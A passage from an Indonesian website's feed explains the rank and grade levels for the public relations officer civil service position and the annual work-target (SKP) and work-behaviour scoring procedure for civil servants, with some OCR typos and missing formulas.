b. Pranata Humas Pelaksana Lanjutan: Penata Muda, golongan ruang III/a; Penata Muda Tingkat I, golongan ruang III/b.
c. Pranata Humas Penyelia: Penata, golongan ruang III/c; Penata Tingkat I, golongan ruang III/d.

Pangkat, golongan ruang Pranata Humas Tingkat Ahli sesuai dengan
jenjang jabatannya, yaitu:
a. Pranata Humas Pertama: Penata Muda, golongan III/a; Penata Muda Tingkat I, golongan ruang III/b.
b. Pranata Humas Muda: Penata, golongan III/c; Penata Tingkat I, golongan ruang III/d.

c. Pranata Humas Madya: 1. Pembina, golongan IV/a; 2. Pembina Tingkat I, golongan ruang IV/b; 3. Pembina Utama Muda, golongan ruang IV/c.

Pangkat, golongan ruang untuk masing-masing jenjang jabatan terseebut diatas ditentukan berdasarkan jumlah angka kredit yang ditetapkan.

]]>
https://bralink.id/mengenal-jabatan-pranata-humas/feed/ 0 6806
Tata Cara Penilaian SKP PNS https://bralink.id/penilaian-prestasi-kerja-pns/ https://bralink.id/penilaian-prestasi-kerja-pns/#respond Sat, 24 Apr 2021 13:44:17 +0000 https://bralink.id/?p=6700 Berikut ini tata cara penilaian Sasaran Kerja Pegawai (SKP) untuk Pegawai Negeri Sipil sesuai ketentuan Peraturan Kepala Badan Kepegawaian Negara tentang Ketentuan Pelaksanaan Peraturan Pemerintah Nomor 46 Tahun 2011 tentang Penilaian Prestasi Kerja Pegawai Negeri Sipil

Penilaian prestasi kerja PNS dilaksanakan oleh Pejabat Penilai sekali dalam
1 (satu) tahun yang dilakukan setiap akhir Desember pada tahun yang
bersangkutan atau paling lama akhir Januari tahun berikutnya. Penilaian
prestasi kerja PNS terdiri atas unsur:

  1. SKP dengan bobot nilai 600/o (enam puluh persen); dan
  2. Perilaku kerja d.engan bobot nilai 40% (empat puluh persen)

TATA CARA PENILAIAN SKP

  1. Nilai capaian SKP dinyatakan dengan angka dan sebutan, sebagai
    berikut:
    a. 91 – ke atas
    b.76-90
    c.6I-75
    d.51-60
    e. 50 – ke bawah
  2. Penilaian Kegiatan Tugas Jabatan
    Penilaian SKP dilakukan dengan menghitung tingkat capaian SKP yang
    telah ditetapkan untuk setiap pelaksanaan kegiatan tugas jabatan, yang
    diukur dengan 4 (empat) aspek yaitu aspek kuantitas, kualitas, waktu,
    dan biaya sebagai berikut:

Untuk menilai apakah output berkualitas atau tidak dengan menggunakan pedoman sebagai berikut:

c. Aspek waktu

  1. Dalam hal kegiatan tidak dilakukan maka realisasi waktu O (nol)
  2. Untuk aspek waktu tingkat efisiensi yang dapat ditoleransikan diberikan <= 24% (kurang dari atau sama dengan 24 persen) dari target yang ditentukan diberikan nilai baik sampai dengan sangat baik.
  3. Untuk aspek waktu tingkat efisiensi > 24% (lebih dari dua puluh empat persen) diberikan nilai cukup sampai dengan buruk.

Berikut ini rumus utuk menghitung nilai capaian SKP Aspek Waktu :

4. Untuk menghitung persentase tingkat efisiensi waktu
penghitungannya menggunakan rumus:

Penghitungan aspek waktu dilakukan dengan memperhatikan hal-hal
sebagai berikut:

  1. batas toleransi efesiensi waktu paling tinggi 24% (dua puluh empat persen) dengan nilai 76 (baik) sampai dengan nilai 100 (sangat baik)
  2. apabila efisiensi lebih dari 24% (dua nilainya menjadi 75 ke bawah (cukup

6. Aspek biaya

  • Dalam hal kegiatan tidak dilakukan maka realisasi biaya 0 (nol), penghitungannya menggunakan rumus
  • Untuk aspek biaya tingkat efisiensi yang dapat ditoleransikan <=24% diberikan nilai baik sampai dengan sangat baik.
  • Untuk aspek biaya tingkat efisiensi > 24% (lebih dari dua puluh empat persen) diberikan nilai cukup sampai dengan buruk.
  • Batas toleransi efesiensi biaya paling tinggi 24o/o (dua puluh empat persen) dengan nilai 76 (balk) sampai dengan nilai 1OO (sangat baik). Apabila efisiensi lebih dari 24% (dua puluh empat persen), maka nilainya menjadi 75 ke bawah (cukup sampai dengan buruk).

PENILAIAN TUGAS TAMBAHAN

Selain melakukan kegiatan tugas pokok yang ada dalam SKP, seorang PNS
dapat melaksanakan tugas lain atau tugas tambahan yang diberikan oleh
atasan langsungnya dan dibuktikan dengan surat keterangan. Sesuai Peraturan Kepala Badan Kepegawaian Negara ini, aka pada akhir tahun yang bersangkutan dapat diberikan nilai tugas tambahan paling rendah 1 (satu) dan paling tinggi 3 (tiga) dengan menggunakan pedoman sebagai berikut:

PENILAIAN KREATIVITAS
Apabila seorang PNS pada tahun berjalan menemukan sesuatu yang baru dan berkaitan dengan tugas pokoknya serta dibuktikan dengan surat keterangan sebagai berikut:

  1. Unit kerja setingkat eselon II;
  2. Pejabat Pembina Kepegawaian; atau
  3. Presiden

PENILAIAN PERILAKU KERJA

  1. Nilai perilaku kerja PNS dinyatakan dengan angka dan sebutan sebagai
    berikut:
    a. 91 – 100
    b.76-90
    c.6I-75
    d.51-60
    e. 50 ke bawah : Buruk
  2. Penilaian perilaku kerja meliputi aspek:
    a. orientasi pelayanan;
    b. integritas;
    c. komitmen;
    d. disiplin;
    e. kerjasama; dan
    f. kepemimpinan.
  3. Cara menilai perilaku kerja dilakukan melalui pengamatan oleh pejabat
    penilai terhadap PNS yang dinilai, penilaian perilaku kerja dapat
    mempertimbangkan masukan dari Pejabat Penilai lain yang setingkat di
    lingkungan unit kerja masing-masing. Kriteria Penilaian

PELAKSANAAN PENILAIAN PRESTASI KBRJA PNS

  1. Nilai prestasi kerja PNS dinyatakan dengan angka dan sebutan sebagai
    berikut :
    a. 91 – ke atas Sangat Baik
    b.76-90 : Baik
    c.6l-75 : Cukup
    d.51-60 : Kurang
    e. 50 ke bawah : Buruk
  2. Penilaian prestasi kerja PNS dilaksanakan oleh Pejabat Penilai sekali
    dalam 1 (satu) tahun.
  3. Penilaian prestasi kerja dilakukan setiap akhir Desember pada tahun yang bersangkutan dan paling lambat akhir Januari tahun berikutnya
  4. Penilaian prestasi kerja PNS dilakukan dengan cara menggabungkan
    antara unsur SKP dan unsur perilaku kerj a dengan menggunakan formuliryang dibuat menurut contoh sebagaimana tercantum dalam Anak Lampiran I-g yang dari Peraturan Kepala Badan Kepegawaian Negara ini.

]]>
https://bralink.id/penilaian-prestasi-kerja-pns/feed/ 0 6700